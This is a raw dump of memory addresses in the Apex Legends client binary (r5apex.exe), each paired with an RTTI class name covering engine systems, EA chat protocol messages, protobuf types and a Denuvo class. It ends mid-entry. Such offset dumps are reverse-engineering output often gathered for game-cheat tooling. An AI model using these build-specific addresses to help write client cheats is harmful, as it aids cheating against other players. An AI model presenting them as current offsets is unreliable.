+r5apex.exe!0x01e92dc8 .?AVCBaseResourcePrecacher@@ +r5apex.exe!0x01e93158 .?AVCBaseResourcePrecacher@@ +r5apex.exe!0x01e93178 .?AVCBaseResourcePrecacher@@ +r5apex.exe!0x01e93368 .?AVCBaseResourcePrecacher@@ +r5apex.exe!0x01e93388 .?AVCBaseResourcePrecacher@@ +r5apex.exe!0x01e933a8 .?AVCBaseResourcePrecacher@@ +r5apex.exe!0x01e933c8 .?AVCBaseResourcePrecacher@@ +r5apex.exe!0x01e933e8 .?AVCBaseResourcePrecacher@@ +r5apex.exe!0x01e93518 .?AVCBaseResourcePrecacher@@ +r5apex.exe!0x01e935a8 .?AVCBaseResourcePrecacher@@ +r5apex.exe!0x01e935c8 .?AVCBaseResourcePrecacher@@ +r5apex.exe!0x01e935e8 .?AVCBaseResourcePrecacher@@ +r5apex.exe!0x01e93608 .?AVCBaseResourcePrecacher@@ +r5apex.exe!0x01e98598 .?AVCBaseResourcePrecacher@@ +r5apex.exe!0x01e98628 .?AVCBaseResourcePrecacher@@ +r5apex.exe!0x01e986b8 .?AVCBaseResourcePrecacher@@ +r5apex.exe!0x01e98748 .?AVCBaseResourcePrecacher@@ +r5apex.exe!0x01e98998 .?AVCBaseResourcePrecacher@@ +r5apex.exe!0x01e98b68 .?AVCBaseResourcePrecacher@@ +r5apex.exe!0x01e98f98 .?AVCBaseResourcePrecacher@@ +r5apex.exe!0x01e99028 .?AVCBaseResourcePrecacher@@ +r5apex.exe!0x01e990b8 .?AVCBaseResourcePrecacher@@ +r5apex.exe!0x01e990d8 .?AVCBaseResourcePrecacher@@ +r5apex.exe!0x01e99248 .?AVCBaseResourcePrecacher@@ +r5apex.exe!0x01e9bcc8 .?AVCBaseResourcePrecacher@@ +r5apex.exe!0x01e9bd88 .?AVCBaseResourcePrecacher@@ +r5apex.exe!0x04f6c380 .?AVCBik@@ +r5apex.exe!0x01e8c1f8 .?AVCBoolProperty@@ +r5apex.exe!0x01c2ee80 .?AVCCascadeLightManager@@ +r5apex.exe!0x01c560b0 .?AVCCenterPrint@@ +r5apex.exe!0x01e91d00 .?AVCClassMap@@ +r5apex.exe!0x01c50aa0 .?AVCClientCollisionEvent@@ +r5apex.exe!0x011951e8 .?AVCClientDLLSharedAppSystems@@ +r5apex.exe!0x018ad3a0 .?AVCClientEntityList@@ +r5apex.exe!0x01b2d3f8 .?AVCClientEntityList@@ +r5apex.exe!0x064d3100 .?AVCClientLeafSystem@@ +r5apex.exe!0x064cbf90 .?AVCClientShadowMgr@@ +r5apex.exe!0x0118d888 .?AVCClientSound@@ +r5apex.exe!0x01261f80 .?AVCClientState@@ +r5apex.exe!0x01261f88 .?AVCClientState@@ +r5apex.exe!0x01261f90 .?AVCClientState@@ +r5apex.exe!0x01261f98 .?AVCClientState@@ +r5apex.exe!0x01c38ad0 .?AVCClientThinkList@@ +r5apex.exe!0x01189250 .?AVCCmdLibFileLoggingListener@@ +r5apex.exe!0x01188fb8 .?AVCCmdLibStandardLoggingListener@@ +r5apex.exe!0x018963b0 .?AVCColorCorrectionMgr@@ +r5apex.exe!0x012d8640 .?AVCColorCorrectionSystem@@ +r5apex.exe!0x01e8c1e8 .?AVCColorProperty@@ +r5apex.exe!0x01885580 .?AVCCommandLine@@ +r5apex.exe!0x05986b50 .?AVCCountedStringPool@@ +r5apex.exe!0x05986ba0 .?AVCCountedStringPool@@ +r5apex.exe!0x01888f90 .?AVCCvar@@ +r5apex.exe!0x0118c1c0 .?AVCCvarQuery@@ +r5apex.exe!0x0118a640 .?AVCDataCache@@ +r5apex.exe!0x01c4a148 .?AVCDebugOverlayPanel@@ +r5apex.exe!0x0118f9f8 .?AVCDebugTextureInfoDX11@@ +r5apex.exe!0x01190d68 .?AVCDefaultAccessor@@ +r5apex.exe!0x01191528 .?AVCDefaultCvarQuery@@ +r5apex.exe!0x018889e0 .?AVCEmptyConVar@@ +r5apex.exe!0x01888a20 .?AVCEmptyConVar@@ +r5apex.exe!0x01e6f0e0 .?AVCEmptyGameUIConVar@@ +r5apex.exe!0x01e6f120 .?AVCEmptyGameUIConVar@@ +r5apex.exe!0x01199df0 .?AVCEngine@@ +r5apex.exe!0x012d1c30 .?AVCEngineAPI@@ +r5apex.exe!0x0118b028 .?AVCEngineClient@@ +r5apex.exe!0x02bd9b58 .?AVCEngineClient@@ +r5apex.exe!0x0118eae8 .?AVCEngineConsoleLoggingListener@@ +r5apex.exe!0x0118a7a8 .?AVCEngineTraceClient@@ +r5apex.exe!0x01189278 .?AVCEngineTraceClientDecals@@ +r5apex.exe!0x0118cd58 .?AVCEngineUniformRandomStream@@ +r5apex.exe!0x011994d0 .?AVCEngineVGui@@ +r5apex.exe!0x01297820 .?AVCEntityReadInfo@@ +r5apex.exe!0x01889100 .?AVCEventSystem@@ +r5apex.exe!0x01260548 .?AVCExampleEffect@@ +r5apex.exe!0x01c4f790 .?AVCFPS@@ +r5apex.exe!0x05986960 .?AVCFileSystem_Stdio@@ +r5apex.exe!0x05986968 .?AVCFileSystem_Stdio@@ +r5apex.exe!0x01e8c2b0 .?AVCFloatProperty@@ +r5apex.exe!0x011977e8 .?AVCGameClientExports@@ +r5apex.exe!0x01e6ef40 .?AVCGameUI@@ +r5apex.exe!0x0118e978 .?AVCGameUIFuncs@@ +r5apex.exe!0x01e8c2b8 .?AVCHFontProperty@@ +r5apex.exe!0x01895210 .?AVCHLClient@@ +r5apex.exe!0x01260898 .?AVCHudTextMessage@@ +r5apex.exe!0x01260638 .?AVCHudTextureHandleProperty@@ +r5apex.exe!0x0118a8f0 .?AVCIVDebugOverlay@@ +r5apex.exe!0x01c459f0 .?AVCInput@@ +r5apex.exe!0x012d67c0 .?AVCInputStackSystem@@ +r5apex.exe!0x012d6900 .?AVCInputSystem@@ +r5apex.exe!0x0782f550 .?AVCInputWin32@@ +r5apex.exe!0x01e8c208 .?AVCIntProperty@@ +r5apex.exe!0x018aa4a0 .?AVCKeyBindingListenerMgr@@ +r5apex.exe!0x0188a8f0 .?AVCKeyValuesSystem@@ +r5apex.exe!0x0118fe58 .?AVCLauncherLoggingListener@@ +r5apex.exe!0x01190cf8 .?AVCListOps@TSListTests@@ +r5apex.exe!0x01c51378 .?AVCLoadingDisc@@ +r5apex.exe!0x012d84a0 .?AVCLocalize@@ +r5apex.exe!0x01e893d0 .?AVCMDLCache@@ +r5apex.exe!0x059892e0 .?AVCMatQueuedRenderContext@@ +r5apex.exe!0x059892e8 .?AVCMatQueuedRenderContext@@ +r5apex.exe!0x059894b0 .?AVCMatRenderContext@@ +r5apex.exe!0x059894b8 .?AVCMatRenderContext@@ +r5apex.exe!0x078383f0 .?AVCMatSystemSurface@@ +r5apex.exe!0x078383f8 .?AVCMatSystemSurface@@ +r5apex.exe!0x07838400 .?AVCMatSystemSurface@@ +r5apex.exe!0x05989060 .?AVCMaterialSystem@@ +r5apex.exe!0x01c4f5a0 .?AVCMessageChars@@ +r5apex.exe!0x00eb03f0 .?AVCMessageListener@vgui@@ +r5apex.exe!0x0118bce8 .?AVCModelInfoClient@@ +r5apex.exe!0x0118be98 .?AVCModelInfoServer@@ +r5apex.exe!0x011947f0 .?AVCModelLoader@@ +r5apex.exe!0x01198bf0 .?AVCModelRender@@ +r5apex.exe!0x01c55ff0 .?AVCModelRenderSystem@@ +r5apex.exe!0x01c56008 .?AVCModelRenderSystem@@ +r5apex.exe!0x01c537c0 .?AVCMoveHelperClient@@ +r5apex.exe!0x0118bb58 .?AVCNetworkStringTableContainer@@ +r5apex.exe!0x01197710 .?AVCNetworkStringTableContainer@@ +r5apex.exe!0x01e93dd0 .?AVCPanelMetaClassMgrImp@@ +r5apex.exe!0x01e94300 .?AVCParticleMgr@@ +r5apex.exe!0x011914b8 .?AVCPhysicsCollision@@ +r5apex.exe!0x01888b20 .?AVCPhysicsInterface@@ +r5apex.exe!0x064a3d20 .?AVCPhysicsSurfaceProps@@ +r5apex.exe!0x012609a8 .?AVCPhysicsSystem@@ +r5apex.exe!0x01c5c840 .?AVCPickupList@@ +r5apex.exe!0x01196028 .?AVCPixelVisibilitySystem@@ +r5apex.exe!0x01ca2f90 .?AVCPoseDebuggerImpl@@ +r5apex.exe!0x0118d308 .?AVCPrecacheSystem@@ +r5apex.exe!0x01e6def0 .?AVCPrediction@@ +r5apex.exe!0x0188aa60 .?AVCProcessUtils@@ +r5apex.exe!0x01e8bbb8 .?AVCProportionalFloatProperty@@ +r5apex.exe!0x01e8c308 .?AVCProportionalIntProperty@@ +r5apex.exe!0x01e8ce80 .?AVCProportionalXPosProperty@@ +r5apex.exe!0x01e8c1e0 .?AVCProportionalYPosProperty@@ +r5apex.exe!0x01190c88 .?AVCQueueOps@TSListTests@@ +r5apex.exe!0x011972b0 .?AVCQueuedPacketSender@@ +r5apex.exe!0x01c9ff70 .?AVCRagdollLRURetirement@@ +r5apex.exe!0x0118e728 .?AVCRegistry@@ +r5apex.exe!0x01884d60 .?AVCResListGenerator@@ +r5apex.exe!0x0119ba88 .?AVCRopeInitializer@@ +r5apex.exe!0x01ca1338 .?AVCRunGameEngine@@ +r5apex.exe!0x0118c558 .?AVCSaveRestoreFileSystemPassthrough@@ +r5apex.exe!0x01e8d2b0 .?AVCSchemeManager@@ +r5apex.exe!0x012606a8 .?AVCScreenSpaceEffectManager@@ +r5apex.exe!0x01189260 .?AVCScriptLib@@ +r5apex.exe!0x04f735c0 .?AVCServer@@ +r5apex.exe!0x012e4a80 .?AVCShaderSystem@@ +r5apex.exe!0x011886a8 .?AVCSimpleLoggingListener@@ +r5apex.exe!0x0b2d0d88 .?AVCSimpleLoggingListener@@ +r5apex.exe!0x011886b8 .?AVCSimpleWindowsLoggingListener@@ +r5apex.exe!0x012d68f8 .?AVCSolidSetDefaults@@ +r5apex.exe!0x01261f70 .?AVCSplitScreen@@ +r5apex.exe!0x0119cff0 .?AVCStaticPropMgr@@ +r5apex.exe!0x0119cff8 .?AVCStaticPropMgr@@ +r5apex.exe!0x08164f80 .?AVCStdMemAlloc@@ +r5apex.exe!0x01e8c200 .?AVCStringProperty@@ +r5apex.exe!0x018850e0 .?AVCStudioRenderContext@@ +r5apex.exe!0x01e8d558 .?AVCSurfaceDragDropTarget@@ +r5apex.exe!0x01e8d310 .?AVCSystem@@ +r5apex.exe!0x01c3c170 .?AVCTempEnts@@ +r5apex.exe!0x01e8d760 .?AVCTextureDictionary@@ +r5apex.exe!0x01e8c300 .?AVCTextureIdProperty@@ +r5apex.exe!0x01e87d78 .?AVCTraceFilterPhysicsTunnel_Client@@ +r5apex.exe!0x0118bdf8 .?AVCUniformRandomStream@@ +r5apex.exe!0x01191618 .?AVCUniformRandomStream@@ +r5apex.exe!0x01886690 .?AVCUtlCStringConversion@@ +r5apex.exe!0x018878b0 .?AVCUtlNoEscConversion@@ +r5apex.exe!0x0118cb98 .?AVCVEfx@@ +r5apex.exe!0x0118e2e8 .?AVCVEngineServer@@ +r5apex.exe!0x0782f3c0 .?AVCVGui@@ +r5apex.exe!0x0118c6a8 .?AVCVRenderView@@ +r5apex.exe!0x01c52910 .?AVCVScriptGameSystem@@ +r5apex.exe!0x01c4ff10 .?AVCViewEffects@@ +r5apex.exe!0x01c55b50 .?AVCViewEffects@@ +r5apex.exe!0x01ca4a80 .?AVCViewRender@@ +r5apex.exe!0x01260828 .?AVCViewportClientSystem@@ +r5apex.exe!0x0118cdc8 .?AVCVoiceServer@@ +r5apex.exe!0x0782f1c0 .?AVCWin32Surface@@ +r5apex.exe!0x0782f1c8 .?AVCWin32Surface@@ +r5apex.exe!0x0782f1d0 .?AVCWin32Surface@@ +r5apex.exe!0x01191b18 .?AVC_BaseAnimatingGameSystem@@ +r5apex.exe!0x01c97240 .?AVC_DataObjectAccessSystem@@ +r5apex.exe!0x01e8b108 .?AVC_DefaultParticleSystemQuery@@ +r5apex.exe!0x0129baa8 .?AVC_DirtySpatialPartitionEntityList@@ +r5apex.exe!0x01c5bcc0 .?AVC_GameMovement@@ +r5apex.exe!0x01c75720 .?AVC_GameRules@@ +r5apex.exe!0x067f6f60 .?AVC_GameStringPool@@ +r5apex.exe!0x01c4b458 .?AVC_GameTimescale@@ +r5apex.exe!0x01c89400 .?AVC_ParticleSystemQuery@@ +r5apex.exe!0x01c9c528 .?AVC_PrecacheHandler@@ +r5apex.exe!0x01c97358 .?AVC_PrecacheRegister@@ +r5apex.exe!0x01c9d510 .?AVC_PropData@@ +r5apex.exe!0x01c9af18 .?AVC_PropSurvivalList@@ +r5apex.exe!0x01c45420 .?AVC_SoundscapeSystem@@ +r5apex.exe!0x01c3ff60 .?AVC_TEBreakModel@@ +r5apex.exe!0x01c3ff70 .?AVC_TEBreakModel@@ +r5apex.exe!0x01c3c270 .?AVC_TEEffectDispatch@@ +r5apex.exe!0x01c3c280 .?AVC_TEEffectDispatch@@ +r5apex.exe!0x01c3c1f0 .?AVC_TEExplosion@@ +r5apex.exe!0x01c3c200 .?AVC_TEExplosion@@ +r5apex.exe!0x011989d8 .?AVC_TEGibEvent@@ +r5apex.exe!0x011989e8 .?AVC_TEGibEvent@@ +r5apex.exe!0x01c39050 .?AVC_TEPhysicsProp@@ +r5apex.exe!0x01c39060 .?AVC_TEPhysicsProp@@ +r5apex.exe!0x01e7c7e0 .?AVC_TEProjectileTrail@@ +r5apex.exe!0x01e7c7f0 .?AVC_TEProjectileTrail@@ +r5apex.exe!0x01c88130 .?AVC_TEScriptParticleSystem@@ +r5apex.exe!0x01c88140 .?AVC_TEScriptParticleSystem@@ +r5apex.exe!0x01c5ae90 .?AVC_TEScriptParticleSystemOnEntity@@ +r5apex.exe!0x01c5aea0 .?AVC_TEScriptParticleSystemOnEntity@@ +r5apex.exe!0x01c8cef0 .?AVC_TEScriptParticleSystemOnEntityWithPos@@ +r5apex.exe!0x01c8cf00 .?AVC_TEScriptParticleSystemOnEntityWithPos@@ +r5apex.exe!0x01c440a0 .?AVC_TEShatterSurface@@ +r5apex.exe!0x01c440b0 .?AVC_TEShatterSurface@@ +r5apex.exe!0x01c410f0 .?AVC_TESoundDispatch@@ +r5apex.exe!0x01c41100 .?AVC_TESoundDispatch@@ +r5apex.exe!0x0119d068 .?AVC_TempEntsSystem@@ +r5apex.exe!0x01c75a60 .?AVC_TraceFilterSkipTwoEntities@@ +r5apex.exe!0x01c75a90 .?AVC_TraceFilterSkipTwoEntities@@ +r5apex.exe!0x01c75ac0 .?AVC_TraceFilterSkipTwoEntities@@ +r5apex.exe!0x01c75af0 .?AVC_TraceFilterSkipTwoEntities@@ +r5apex.exe!0x01c75b20 .?AVC_TraceFilterSkipTwoEntities@@ +r5apex.exe!0x01c75b50 .?AVC_TraceFilterSkipTwoEntities@@ +r5apex.exe!0x01c75b80 .?AVC_TraceFilterSkipTwoEntities@@ +r5apex.exe!0x01c75bb0 .?AVC_TraceFilterSkipTwoEntities@@ +r5apex.exe!0x01e7a820 .?AVC_TurretList@@ +r5apex.exe!0x01e81b00 .?AVC_WeaponXList@@ +r5apex.exe!0x01eb8d60 .?AVChannel@protocol@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb9930 .?AVChannelMembershipChangeV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb8d90 .?AVChannelMessage@protocol@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb8e40 .?AVChannelMuteList@protocol@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb9440 .?AVChannelMuteListV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb94b0 .?AVChannelV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb9980 .?AVChatChannelUpdateV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb99b0 .?AVChatChannelsRequestV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb99d0 .?AVChatChannelsRequestV2@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb9a00 .?AVChatChannelsV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb9a50 .?AVChatConnectedV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb9a78 .?AVChatDisconnectedV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb94f8 .?AVChatInitiateSuccessV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb9aa0 .?AVChatInitiateV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb9ae8 .?AVChatLeaveV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb9b08 .?AVChatLeftV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eba1a8 .?AVChatMembersRequestErrorV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb9b30 .?AVChatMembersRequestV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb9b70 .?AVChatMembersV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eba1c8 .?AVChatTypingEventRequestErrorV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb9bc8 .?AVChatTypingEventRequestV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb9c30 .?AVChatTypingEventV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb9bf8 .?AVChatUserMutedV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb9c70 .?AVChatUserUnmutedV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x0127a6e8 .?AVClientDataBlockReceiver@@ +r5apex.exe!0x018a6cf0 .?AVClientModeFullscreen@@ +r5apex.exe!0x01eb8e80 .?AVCommunication@protocol@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb8860 .?AVCommunication@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb8890 .?AVCommunicationV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb97a0 .?AVCustomMessage@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x00e78550 .?AVDNameStatusNode@@ +r5apex.exe!0x00e78560 .?AVDNameStatusNode@@ +r5apex.exe!0x00e78570 .?AVDNameStatusNode@@ +r5apex.exe!0x00e78580 .?AVDNameStatusNode@@ +r5apex.exe!0x01178db0 .?AVDenuvoTrialV2@@ +r5apex.exe!0x01ed0c70 .?AVDescriptorProto@protobuf@google@@ +r5apex.exe!0x01ed0d58 .?AVDescriptorProto_ExtensionRange@protobuf@google@@ +r5apex.exe!0x01ed0d80 .?AVDescriptorProto_ReservedRange@protobuf@google@@ +r5apex.exe!0x01ed0da0 .?AVEnumDescriptorProto@protobuf@google@@ +r5apex.exe!0x01ed0e10 .?AVEnumDescriptorProto_EnumReservedRange@protobuf@google@@ +r5apex.exe!0x01ed0e30 .?AVEnumOptions@protobuf@google@@ +r5apex.exe!0x01ed0e80 .?AVEnumValueDescriptorProto@protobuf@google@@ +r5apex.exe!0x01ed0eb0 .?AVEnumValueOptions@protobuf@google@@ +r5apex.exe!0x01eba210 .?AVErrorV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01ed0f00 .?AVExtensionRangeOptions@protobuf@google@@ +r5apex.exe!0x01eb9ca8 .?AVFetchStickyMessagesRequestV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01ed0f70 .?AVFieldDescriptorProto@protobuf@google@@ +r5apex.exe!0x01ed0ff0 .?AVFieldOptions@protobuf@google@@ +r5apex.exe!0x01eba1e8 .?AVFieldViolationV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01ed1050 .?AVFileDescriptorProto@protobuf@google@@ +r5apex.exe!0x01ed1128 .?AVFileDescriptorSet@protobuf@google@@ +r5apex.exe!0x01ed1160 .?AVFileOptions@protobuf@google@@ +r5apex.exe!0x01ed1208 .?AVGeneratedCodeInfo@protobuf@google@@ +r5apex.exe!0x01ed1240 .?AVGeneratedCodeInfo_Annotation@protobuf@google@@ +r5apex.exe!0x01eba810 .?AVGetPreferenceRequestV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eba828 .?AVGetPreferenceResponseV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eba790 .?AVGetRolesRequest@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eba7a8 .?AVGetRolesResponse@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb8f20 .?AVGroupMembershipChange@protocol@antelope@eadp@ea@com@@ +r5apex.exe!0x01882e20 .?AVHardwareConfigDX11@@ +r5apex.exe!0x01eb8f80 .?AVHeader@protocol@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb9518 .?AVHeartbeatV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb8fb0 .?AVHistoryRequest@protocol@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb8ff0 .?AVHistoryResponse@protocol@antelope@eadp@ea@com@@ +r5apex.exe!0x0119d0f8 .?AVIPredictionSystem_Client@@ +r5apex.exe!0x012d4ef0 .?AVImeTextStore@@ +r5apex.exe!0x012d4ef8 .?AVImeTextStore@@ +r5apex.exe!0x012d4f00 .?AVImeTextStore@@ +r5apex.exe!0x012d4f08 .?AVImeTextStore@@ +r5apex.exe!0x012d4f10 .?AVImeTextStore@@ +r5apex.exe!0x012d4f18 .?AVImeTextStore@@ +r5apex.exe!0x012d4f20 .?AVImeTextStore@@ +r5apex.exe!0x012d4f28 .?AVImeTextStore@@ +r5apex.exe!0x01eba5d0 .?AVInvitation@protocol@respawn@ea@com@@ +r5apex.exe!0x01eba270 .?AVLoginErrorV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb9040 .?AVLoginRequest@protocol@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb8a40 .?AVLoginRequestV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb8a68 .?AVLoginRequestV2@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb8aa0 .?AVLoginRequestV3@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb9070 .?AVLoginResponse@protocol@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb9530 .?AVLoginV2Success@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb9550 .?AVLoginV3Response@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb90d0 .?AVLogoutRequest@protocol@antelope@eadp@ea@com@@ +r5apex.exe!0x0125fbf8 .?AVMapSettingsReseter@@ +r5apex.exe!0x01ed1280 .?AVMessageOptions@protobuf@google@@ +r5apex.exe!0x01ed12d0 .?AVMethodDescriptorProto@protobuf@google@@ +r5apex.exe!0x01ed1310 .?AVMethodOptions@protobuf@google@@ +r5apex.exe!0x01e90c08 .?AVMonitorDefaultChanges@@ +r5apex.exe!0x01eb9cc8 .?AVMuteUserV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb9588 .?AVMutedSetV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb90e8 .?AVMutedUser@protocol@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb9118 .?AVMutedUserV1@protocol@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb9858 .?AVNotificationV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01ed0f48 .?AVOneofDescriptorProto@protobuf@google@@ +r5apex.exe!0x01ed1360 .?AVOneofOptions@protobuf@google@@ +r5apex.exe!0x01eb95b0 .?AVPersonaV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb9150 .?AVPlayer@protocol@antelope@eadp@ea@com@@ +r5apex.exe!0x01eba608 .?AVPlayer@protocol@respawn@ea@com@@ +r5apex.exe!0x01eba708 .?AVPlayer@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eba730 .?AVPlayerInfo@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb97d0 .?AVPointToPointMessageV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eba350 .?AVPresenceSubscribeV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eba398 .?AVPresenceSubscriptionErrorV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eba3d0 .?AVPresenceUnsubscribeV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eba418 .?AVPresenceUpdateErrorV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eba440 .?AVPresenceUpdateV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eba490 .?AVPresenceV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb9cf8 .?AVPromoteStickyMessageRequestV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb9178 .?AVPublishBinaryRequest@protocol@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb91a0 .?AVPublishResponse@protocol@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb91d0 .?AVPublishTextRequest@protocol@antelope@eadp@ea@com@@ +r5apex.exe!0x01eba8f0 .?AVRateLimitConfigV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb8af0 .?AVReconnectRequestV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb9d30 .?AVRemoveStickyMessageRequestV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eba4f0 .?AVRichPresenceV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x0129b3e0 .?AVSVC_UserMessage@@ +r5apex.exe!0x01eba918 .?AVServerConfigRequestV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eba930 .?AVServerConfigV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01ed13b0 .?AVServiceDescriptorProto@protobuf@google@@ +r5apex.exe!0x01ed13f0 .?AVServiceOptions@protobuf@google@@ +r5apex.exe!0x01eb95e0 .?AVSessionCleanupV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb9880 .?AVSessionNotificationV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb9600 .?AVSessionRequestV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb9618 .?AVSessionResponseV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb9648 .?AVSessionV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01ed1440 .?AVSourceCodeInfo@protobuf@google@@ +r5apex.exe!0x01ed1470 .?AVSourceCodeInfo_Location@protobuf@google@@ +r5apex.exe!0x01eb9d58 .?AVStickyMessageChangedV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb9d80 .?AVStickyMessageResponseV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb9680 .?AVStickyMessageV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb9200 .?AVSubscribeRequest@protocol@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb9220 .?AVSubscribeResponse@protocol@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb96d0 .?AVSuccessV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb9270 .?AVTextMessage@protocol@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb9710 .?AVTextMessageV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eba848 .?AVTranslationPreferenceV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01ed14e0 .?AVUninterpretedOption@protobuf@google@@ +r5apex.exe!0x01ed0fc8 .?AVUninterpretedOption_NamePart@protobuf@google@@ +r5apex.exe!0x01eb9db8 .?AVUnmuteUserV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb92b8 .?AVUnsubscribeRequest@protocol@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb92d8 .?AVUnsubscribeResponse@protocol@antelope@eadp@ea@com@@ +r5apex.exe!0x01eba870 .?AVUpdatePreferenceRequestV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb98b8 .?AVUserMembershipChangeV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01e8d5a0 .?AVVPanelWrapper@@ +r5apex.exe!0x01eba2a0 .?AVValidationErrorV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb9de8 .?AVWorldChatAssignV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb9e10 .?AVWorldChatChannelsRequestV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb9e50 .?AVWorldChatChannelsResponseV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb9e38 .?AVWorldChatConfigurationRequestV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb9e90 .?AVWorldChatConfigurationResponseV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb9ec0 .?AVWorldChatMembershipChangeV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb9f00 .?AVWorldChatResponseV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb9f60 .?AVWorldChatShard@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eba630 